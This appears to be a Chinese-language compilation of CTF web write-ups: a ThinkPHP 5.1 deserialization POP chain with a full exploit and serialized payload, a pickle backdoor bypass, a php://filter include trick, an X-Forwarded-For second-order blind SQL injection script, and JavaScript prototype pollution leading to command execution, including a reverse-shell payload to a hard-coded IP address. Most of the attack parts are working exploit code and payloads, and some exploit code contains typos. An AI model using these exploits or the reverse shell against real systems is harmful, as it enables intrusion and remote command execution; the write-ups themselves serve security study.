unset($this->hidden[$key]);
}
}

// 合并关联数据
$data = array_merge($this->data, $this->relation);

foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}

// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
$relation->visible($name);
}

$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
$relation->visible([$attr]);
}

$item[$key] = $relation->append([$attr])->toArray();
} else {
$item[$name] = $this->getAttr($name, $item);
}
}
}

return $item;
}

发现toArray()函数中的这里是可利用点

1
2
3
4
5
6
7
8
9
10
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
$relation->visible($name);
}

我们可以利用$relation->visible($name);来触发__call()魔术方法,但是我们需要$this->append是可控点以及$relation是可控点,现在我们知道$this->append是可控的,但是$relation是否可控,我们需要看向getRelation()函数,所以根据全局搜索,我们可以看向think\model\concern\RelationShip.php

1
2
3
4
5
6
7
8
9
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}

由于输入的$key不在$this->relation中,所以返回空,因此可以通过if (!$relation),但是我们需要$relation可控,所以我们要继续看向getAttr()函数,可以通过全局搜索,看向think\model\concern\Attribute.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}

// 检测属性获取器
$fieldName = Loader::parseName($name);
$method = 'get' . Loader::parseName($name, 1) . 'Attr';

if (isset($this->withAttr[$fieldName])) {
if ($notFound && $relation = $this->isRelationAttr($name)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
}

$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
} elseif (method_exists($this, $method)) {
if ($notFound && $relation = $this->isRelationAttr($name)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
}

$value = $this->$method($value, $this->data);
} elseif (isset($this->type[$name])) {
// 类型转换
$value = $this->readTransform($value, $this->type[$name]);
} elseif ($this->autoWriteTimestamp && in_array($name, [$this->createTime, $this->updateTime])) {
if (is_string($this->autoWriteTimestamp) && in_array(strtolower($this->autoWriteTimestamp), [
'datetime',
'date',
'timestamp',
])) {
$value = $this->formatDateTime($this->dateFormat, $value);
} else {
$value = $this->formatDateTime($this->dateFormat, $value, true);
}
} elseif ($notFound) {
$value = $this->getRelationAttribute($name, $item);
}

return $value;
}

看它的return $value,我们可以看一下$value是怎么来的,

1
$value    = $this->getData($name);

因此,我们需要看向getData()

1
2
3
4
5
6
7
8
9
10
11
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

可以看见当传入的$key是data这个可控点的键值的时候,会返回return $this->data[$name],从而让$relation成为可控点,此时,我们需要找一个__call(),里面会有一些危险函数可以利用,通过全局搜索,发现think\Request.php里的__call()可以利用

1
2
3
4
5
6
7
8
9
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}

throw new Exception('method not exists:' . static::class . '->' . $method);
}

但是看到$this->hook是控制了必须在这个类中,一般think\Request.php里的input()方法是相当于call_user_func(),所以我们可以先找到这个类中的input()方法的使用函数,看哪个函数可以使用,最后发现param()函数可以使用,然后再看哪个函数使用了param()函数且只有一个参数的,发现isAjax()函数调用了

1
2
3
4
5
6
7
8
9
10
11
12
13
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;

if (true === $ajax) {
return $result;
}

$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}

param()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);

// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}

input函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}

$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}

$data = $this->getData($data, $name);

if (is_null($data)) {
return $default;
}

if (is_object($data)) {
return $data;
}
}

// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}

if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}

return $data;
}

最后我们可以控制$filter和$data,然后通过array_walk_recursive()函数来执行命令

exp的构造

由于Windows类中的file_exists()触发的__toString()魔术方法是在Conversion类中的,又因为这个类是trait,所以不可以实例化,所以要找继承这个类的类,所以我们找到了model类

1
2
3
4
5
6
7
abstract class Model implements \JsonSerializable, \ArrayAccess
{
use model\concern\Attribute;
use model\concern\RelationShip;
use model\concern\ModelEvent;
use model\concern\TimeStamp;
use model\concern\Conversion;

但是发现Model类是个抽象类,所以我们需要找一个类是继承Model类的,找到了Pivot类,所以第一步,我们需要通过构造Windows类中的$this-file来触发__toString(),根据继承关系,我们可以使用Pivot类

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

namespace think\process\pipes;

use think\model\Pivot;

class Windows
{
private $file=[];
public function __construct(){
$this->file=[new Pivot()];
}
}

此时会触发think\model\concern\Conversion类中的__toString(),然后再看向toJson(),再看向toArray(),我们需要控制$this->append和$this->data,所以exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

abstract class Model
{
protected $append;
private $data;
public function __construct{
$this->append=["huhu"=>[]];
$this->data=["huhu"=>new Request()];
}
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
?>

然后触发Request类的__call()魔术方法,所以我们可以构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

namespace think;

class Request
{
protected $hook;
protected $config=[];
protected filter;

public function __constuct{
$this->hook=["visible"=>[$this,isAjax]];
$this->config["var_ajax"=>'huhu'];
$this->filter="system";
}
}
?>

然后将三部分合在一起,构成最终的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
namespace think;

class Request
{
protected $hook;
protected $config=[];
protected filter;

public function __constuct{
$this->hook=["visible"=>[$this,isAjax]];
$this->config["var_ajax"=>'huhu'];
$this->filter="system";
}
}


abstract class Model
{
protected $append;
private $data;
public function __construct{
$this->append=["huhu"=>[]];
$this->data=["huhu"=>new Request()];
}
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}

namespace think\process\pipes;

use think\model\Pivot;

class Windows
{
private $file=[];
public function __construct(){
$this->file=[new Pivot()];
}
}

echo base64_encode(serialize(new Windows()));

测试

我们只需修改application\index\controller\Index.php文件即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$b=$_POST['code'];
$a=unserialize(base64_decode($b));
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>'.$b;
}

public function hello($name = 'ThinkPHP5')
{
return 'hello,' . $name;
}
}

然后访问/public/index.php,构造

1
2
3
4
5
get提交
?huhu[]=whoami

post提交
code=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo0OiJodWhhIjthOjA6e319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo0OiJodWhhIjtPOjEzOiJ0aGlua1xSZXF1ZXN0IjozOntzOjc6IgAqAGhvb2siO2E6MTp7czo3OiJ2aXNpYmxlIjthOjI6e2k6MDtyOjc7aToxO3M6NjoiaXNBamF4Ijt9fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo5OiIAKgBjb25maWciO2E6MTp7czo4OiJ2YXJfYWpheCI7czo0OiJodWhhIjt9fX19fX0=

即可执行命令

参考文章:[https://www.cnblogs.com/zpchcbd/p/12642225.html]
[https://blog.csdn.net/qq_41891666/article/details/107463740]

finfo_open函数和finfo_file函数绕过以及getimagesize函数绕过

finfo_open函数和finfo_file函数绕过以及getimagesize函数绕过

finfo_open和finfo_file

finfo_open()是创建一个fileinfo资源的,而finfo_file()是返回一个文件信息的,而一般它们两个函数结合着用。如:

1
2
$finfo = finfo_open(FILEINFO_MIME_TYPE); //创建资源类型
$type = finfo_file($finfo, $_FILES['file']['tmp_name']); //返回文件的类型

getimagesiza()

getimagesiza()函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回false,其中返回数组的信息的含义

1
2
3
4
5
6
7
8
9
10
11
12
13
索引 0 给出的是图像宽度的像素值

索引 1 给出的是图像高度的像素值

索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM

索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 <image> 标签

索引 bits 给出的是图像的每种颜色的位数,二进制格式

索引 channels 给出的是图像的通道值,RGB 图像默认是 3

索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如:header("Content-type: image/jpeg");

实例

我们可以得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
error_reporting(0);

require_once('config.php');
require_once('lib/util.php');
require_once('lib/session.php');

$session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY);

// check whether file is uploaded
if (!file_exists($_FILES['file']['tmp_name']) || !is_uploaded_file($_FILES['file']['tmp_name'])) {
error('No file was uploaded.');
}

// check file size
if ($_FILES['file']['size'] > 256000) {
error('Uploaded file is too large.');
}

// check file type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
if (!in_array($type, ['image/png'])) {
error('Uploaded file is not PNG format.');
}

// check file width/height
$size = getimagesize($_FILES['file']['tmp_name']);
if ($size[0] > 256 || $size[1] > 256) {
error('Uploaded image is too large.');
}
if ($size[2] !== IMAGETYPE_PNG) {
// I hope this never happens...
error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');
}

// ok
$filename = bin2hex(random_bytes(4)) . '.png';
move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_DIR . '/' . $filename);

$session->set('avatar', $filename);
flash('info', 'Your avatar has been successfully updated!');
redirect('/');

通过审计源码,我们呢需要绕过一个if以及finfo_file()函数和getimagesize()函数,第一个if只要我们传小于256尺寸的图片即可,而对于finfo_file()函数,则是检测上传图片类型为image/png,同时getimagesize()则是在检查长宽时,会获取图像大小及相关信息,成功返回一个数组

1
2
3
4
5
6
7
8
9
10
Array
(
[0] => 290
[1] => 69
[2] => 3
[3] => width="290" height="69"
[bits] => 8
[mime] => image/png
)

由上面可知索引0和1是文件的长和宽,而索引2为文件类型为png,但是只要我们只留png的文件头部,则会让getimagesize()报错,然后绕过它,带出flag

强网拟态部分web

zerocalc

打开页面,发现是readFile(“./src/index.js”),发现出现nodejs语言,本来打算审计的,但是发现readFile可以读文件,所以直接构造readFile(“/flag”)就可以看见flag了,提示都是骗人的

ezPickle

打开页面,发现只有一个Hello,但是可以下载附件,所以可以看见两个文件的代码

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from flask import Flask, request, session, render_template_string, url_for,redirect
import pickle
import io
import sys
import base64
import random
import subprocess
from config import notadmin

app = Flask(__name__)

class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("'%s.%s' not allowed" % (module, name))


def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()

@app.route('/')
def index():
info = request.args.get('name', '')
if info is not '':
x = base64.b64decode(info)
User = restricted_loads(x)
return render_template_string('Hello')


if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=5000)

config.py

1
2
3
4
5
6
notadmin={"admin":"no"}

def backdoor(cmd):
if notadmin["admin"]=="yes":
s=''.join(cmd)
eval(s)

通过对两个文件的审计,思路是首先get提交一个name参数,然后便对其进行base64的解码,并放入restricted_loads这个函数中

1
2
3
4
info = request.args.get('name', '')
if info is not '':
x = base64.b64decode(info)
User = restricted_loads(x)

然后将其转换为字节流,并放入到RestrictedUnpickler函数中

1
2
3
def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()

然后只要满足这个if就可以,使用config.py中的eval(s),执行命令

1
2
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)

但是发现如果要绕过if,需要notadmin[“admin”]==”yes”,但是这里固定了notadmin={“admin”:”no”},所以我们需要通过python反序列化伪造admin为yes,所以exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import base64
import pickle
import pickletools
import base64
import config
import io
import sys

class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("'%s.%s' not allowed" % (module, name))

data=b'''cconfig
notadmin
(S'admin'
S'yes'
u0(cconfig
backdoor
(S'exec("import os;os.system('curl ');")'
Io.'''

data=base64.encode(data)
print(data)
result=RestrictedUnpickler(io.BytesIO(base64.decode(data))).load()
print(config.notadmin)

即可伪造notadmin[“admin”]==”yes”,然后执行命令,反弹shell

EasyFilter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
ini_set("open_basedir","./");
if(!isset($_GET['action'])){
highlight_file(__FILE__);
die();
}
if($_GET['action'] == 'w'){
@mkdir("./files/");
$content = $_GET['c'];
$file = bin2hex(random_bytes(5));
file_put_contents("./files/".$file,base64_encode($content));
echo "./files/".$file;
}elseif($_GET['action'] == 'r'){
$r = $_GET['r'];
$file = "./files/".$r;
include("php://filter/resource=$file");
}

这道题想了很长时间,没思路,最后发现原来的封装的问题,就是include()里的resource对输入的对象进行封装,然后我们只需要再用base64解码封装即可,所以构造

1
2
3
?action=w&c=<?php system("cat /flag");?>

?action=r&r=convert.base64-decode/../62d1ef7ceb

即可base64解码并通过include函数执行命令

new_hospital

其实它是新框架里加入了旧框架,当在/feature.php?id=2目录下是,发现报错

1
2
knowledge
Warning: file_get_contents(2.js): failed to open stream: No such file or directory in /var/www/html/feature.php on line 468

但是报错的函数是file_get_contents()函数,可以利用一下,所以我们通过目录扫描,发现旧框架在/old目录下,所以我们可以构造

1
/old/feature.php

然后发现输入文件的点在cookie里的API中,所以只要我们构造/var/www/html/flag.php,然后进行base64编码提交即可

X-Forwarded-For注入以及盲注加二次注入

X-Forwarded-For注入以及盲注加二次注入

打开页面,发现可以构造?url=网址,来访问网站,发现没有什么价值信息就抓包,然后回来的包中,我们可以发现一个重要信息

1
2
3
4
<!-- Debug Info: 
Duration: 0.045696973800659 s
Current Ip: 110.90.9.211
Last Ip: 123 -->

可以看见current ip字段,这个字段和X-Forwarded-For字段是一样的功能,都是用来表示当前自己的ip,而last ip推测是从数据库中读取出来的,而它对应的是Current ip字段,然后我们尝试构造

1
X-Forwarded-For: 1

发现回显的是

1
2
3
4
<!-- Debug Info: 
Duration: 0.054388046264648 s
Current Ip: 1
Last Ip: 110.90.9.211 -->

原来current ip的值变为last ip的值,猜测有写入,当提交X-Forwarded-For,会将原来的回显包里的current ip的值写入Last ip中,而提交的X-Forwarded-For的值变为Current ip的值,因此,这里可能存在二次注入,所以我们可以

1
2
3
4
5
6
7
8
9
10
首先构造
X-Forwarded-For: 0'or'1

然后构造
X-Forwarded-For: 123

最后再构造一次
X-Forwarded-For: 123

发现Last ip字段的值变为1

所以我们可以使用盲注,所以exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# coding:utf-8 
import requests
import time
url = 'http://node4.buuoj.cn:25670/'

res = ''
for i in range(1,200):
print(i)
left = 31
right = 127
mid = left + ((right - left)>>1)
while left < right:
#payload = "0' or (ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{}) or '0".format(i,mid)
#payload = "0' or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema = 'F4l9_D4t4B45e'),{},1))>{}) or '0".format(i,mid)
#payload = "0' or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name = 'F4l9_t4b1e'),{},1))>{}) or '0".format(i,mid)
payload = "0' or (ascii(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),{},1))>{}) or '0".format(i,mid)
headers = {
'Cookie': 'track_uuid=6e17fe5e-140c-4138-dea6-d197aa6214e3',
'X-Forwarded-For': payload
}
r = requests.post(url = url, headers = headers)

payload = '111'
headers = {
'Cookie': 'track_uuid=6e17fe5e-140c-4138-dea6-d197aa6214e3',
'X-Forwarded-For': payload
}
r = requests.post(url = url, headers = headers)

payload = '111'
headers = {
'Cookie': 'track_uuid=6e17fe5e-140c-4138-dea6-d197aa6214e3',
'X-Forwarded-For': payload
}
r = requests.post(url = url, headers = headers)


if r.status_code == 429:
print('too fast')
time.sleep(2)
if 'Last Ip: 1' in r.text:
left = mid + 1
elif 'Last Ip: 1' not in r.text:
right = mid
mid = left + ((right-left)>>1)
if mid == 31 or mid == 127:
break
res += chr(mid)
print(str(mid),res)
time.sleep(1)
# information_schema,ctftraining,mysql,performance_schema,test,ctf,F4l9_D4t4B45e
#F4l9_t4b1e
#F4l9_C01uMn

最后可以爆出flag

参考文章:[https://www.jianshu.com/p/08aabdbc8a7b]

js原型链污染以及js大小写函数特性

js原型链污染以及js大小写函数特性

js原型链污染

javaScript是一门灵活的语言,基于原型实现继承,原型是javascript的继承基础,而根据ECMAScript标准,someObject.[[Prototype]]符号是用于指向someObject的原型,而从ECMAScript6开始,[[Prototype]]可以通过Object.getPrototypeOf()和Object.setPrototypeOf()访问器来访问

每一个实例化对象都有一个私有属性__proto__指向它的构造函数的原型prototype,即

1
test1.__proto__==Test.prototype //true

原型prototype是类的一个属性,而这个属性中的值和方法是每一个由该类实例化出来的对象所共有的,我们可以通过实例化对象test1.__proto__来访问Test类的原型,如果我们可以控制实例化对象的__proto__属性,则等于可以修改该类的所有实例化对象的__proto__属性

原型链污染原理

1
2
3
4
5
6
7
8
test1=new Test()
test2=new Test()

test1.b //undefined

test2.__proto__.b="12"

test1.b //12

我们可以看见本来Test类的实例化对象test1是没有b属性的,但是当我们对Test类的实例化对象test2做了私有属性__proto__赋值后(test2.__proto__指向Test的原型prototype),test1.b就有值了,这是因为

1
2
3
4
1. 在执行test1.b时,会先在对象test1中寻找b
2. 找不到时,会在test1.__proto__中寻找(这里的test1.__proto__一样是指向Test类的原型prototype)
3. 如果仍然找不到的话,就会在test1.__proto__.__proto__中继续寻找b
4. 因此寻找,知道找到null结束(即Object.prototype的__proto__就是null)

在js中,我们可以通过找到可以控制数组(对象)的键名的位置来控制实例化对象的__proto__来污染原型链,比较明显的是以下两个对象

1
2
1. 对象clone
2. 对象merge

同时如果要__proto__作为key可以被赋值的话,需要使用json进行解析,否则会将__proto__当作是原型而不是key,从而无法进行污染,实例如下

污染链失败

1
2
3
4
let o1={}
let o2={a:1,"__proto__":{b:2}}
merge(o1,o2) //1 2
console.log(o1.a,o1.b) //无结果输出

污染链成功

1
2
3
4
let o1={}
let o2=JSON.parse('{"a":1,"__proto__":{"b":2}}')
merge(o1,o2) //1 2
console.log(o1.a,o1.b) //2

而对于要污染哪个变量,需要找代码的执行点,js代码代码执行点可以找

1
2
1. eval函数
2. new Function

而对于包中的Content-Type字段,需要改为

1
Content-type: application/json

js大小写函数特性

toUpperCase()

toUpperCase()是javascript中将小写转换为大写的函数,它有一个特性,就是有两个奇特字符在经过toUpperCase()后会变为大写的I和S

1
2
3
"ı".toUpperCase() == 'I'

"ſ".toUpperCase() == 'S'

toLowerCase()

toLowerCase()是js中将大写转换为小写的函数,它也有一个特性,就是将一个奇特字符在经过toUpperCase()后会变为小写的k

1
"K".toLowerCase() == 'k'

实例(Ez_Express)

打开页面,我们发现是一个注册/登录界面,而且给出提示,要使用admin来注册登录,但是却不行,所以我们可以使用dirmap进行扫描,发现有www.zip泄露,解压后,我们看核心源码

1
2
index.js
app.js

查看index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}

return undefined
}

router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');
}
res.outputFunctionName=undefined;
res.render('index',data={'user':req.session.user.user});
});


router.get('/login', function (req, res) {
res.render('login');
});



router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}

}
res.redirect('/'); ;
});
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

我们看见clone和merge,可以初步判断是js原型链污染,而我们再看这个点

1
res.render('index',data={'user':res.outputFunctionName});

可知,我们污染的变量是outputFunctionName,因为这个变量的值会写入index中,然后被执行

但是首先我们需要注册/登录,而从safeKeyword(req.body.userid),查看safeKeyword()函数,

1
2
3
4
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}

可见其过滤了admin,但是有一个点,让我们可以利用js的特性进行突破

1
'user':req.body.userid.toUpperCase()

所以我们使用”ı”来代替”I”,所以我们可以利用admın来进行注册登录,然后根据

1
2
3
4
5
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});

构造一条原型链

1
{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}

然后构造payload

1
2
3
4
5
6
7
get提交
/action

post提交
{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}

同时将改为Content-type: application/json

再访问/info即可下载flag

也可以反弹shell,来执行命令

1
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/118.31.168.198/39543 0>&1\"');var __tmp2"}}

参考文章:[https://www.cnblogs.com/escape-w/p/12347705.html]

[https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html]

[https://blog.csdn.net/qq_45691294/article/details/109320437]

pop链5之sql注入的反序列化利用

pop链5之sql注入的反序列化利用

我们打开页面后,发现一个关键点

1
Powered By wowouploadimage 

我们可以在github里下载源码,,发现有几个php文件,分别是

1
2
3
helper.php
show.php
upload.php

通过对源码的大概审计,发现helper.php是主要的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
<?php
class helper {
protected $folder = "pic/";
protected $ifview = False;
protected $config = "config.txt";
// The function is not yet perfect, it is not open yet.

public function upload($input="file")
{
$fileinfo = $this->getfile($input);
$array = array();
$array["title"] = $fileinfo['title'];
$array["filename"] = $fileinfo['filename'];
$array["ext"] = $fileinfo['ext'];
$array["path"] = $fileinfo['path'];
$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
$array["attr"] = serialize($my_ext);
$id = $this->save($array);
if ($id == 0){
die("Something wrong!");
}
echo "<br>";
echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
}

public function getfile($input)
{
if(isset($input)){
$rs = $this->check($_FILES[$input]);
}
return $rs;
}

public function check($info)
{
$basename = substr(md5(time().uniqid()),9,16);
$filename = $info["name"];
$ext = substr(strrchr($filename, '.'), 1);
$cate_exts = array("jpg","gif","png","jpeg");
if(!in_array($ext,$cate_exts)){
die("<p>Please upload the correct image file!!!</p>");
}
$title = str_replace(".".$ext,'',$filename);
return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
}

public function save($data)
{
if(!$data || !is_array($data)){
die("Something wrong!");
}
$id = $this->insert_array($data);
return $id;
}

public function insert_array($data)
{
$con = mysqli_connect("127.0.0.1","root","root","pic_base");
if (mysqli_connect_errno($con))
{
die("Connect MySQL Fail:".mysqli_connect_error());
}
$sql_fields = array();
$sql_val = array();
foreach($data as $key=>$value){
$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
}
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
mysqli_query($con, $sql);
$id = mysqli_insert_id($con);
mysqli_close($con);
return $id;
}

public function view_files($path){
if ($this->ifview == False){
return False;
//The function is not yet perfect, it is not open yet.
}
$content = file_get_contents($path);
echo $content;
}

function __destruct(){
# Read some config html
$this->view_files($this->config);
}
}

?>

我们查看上传文件的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
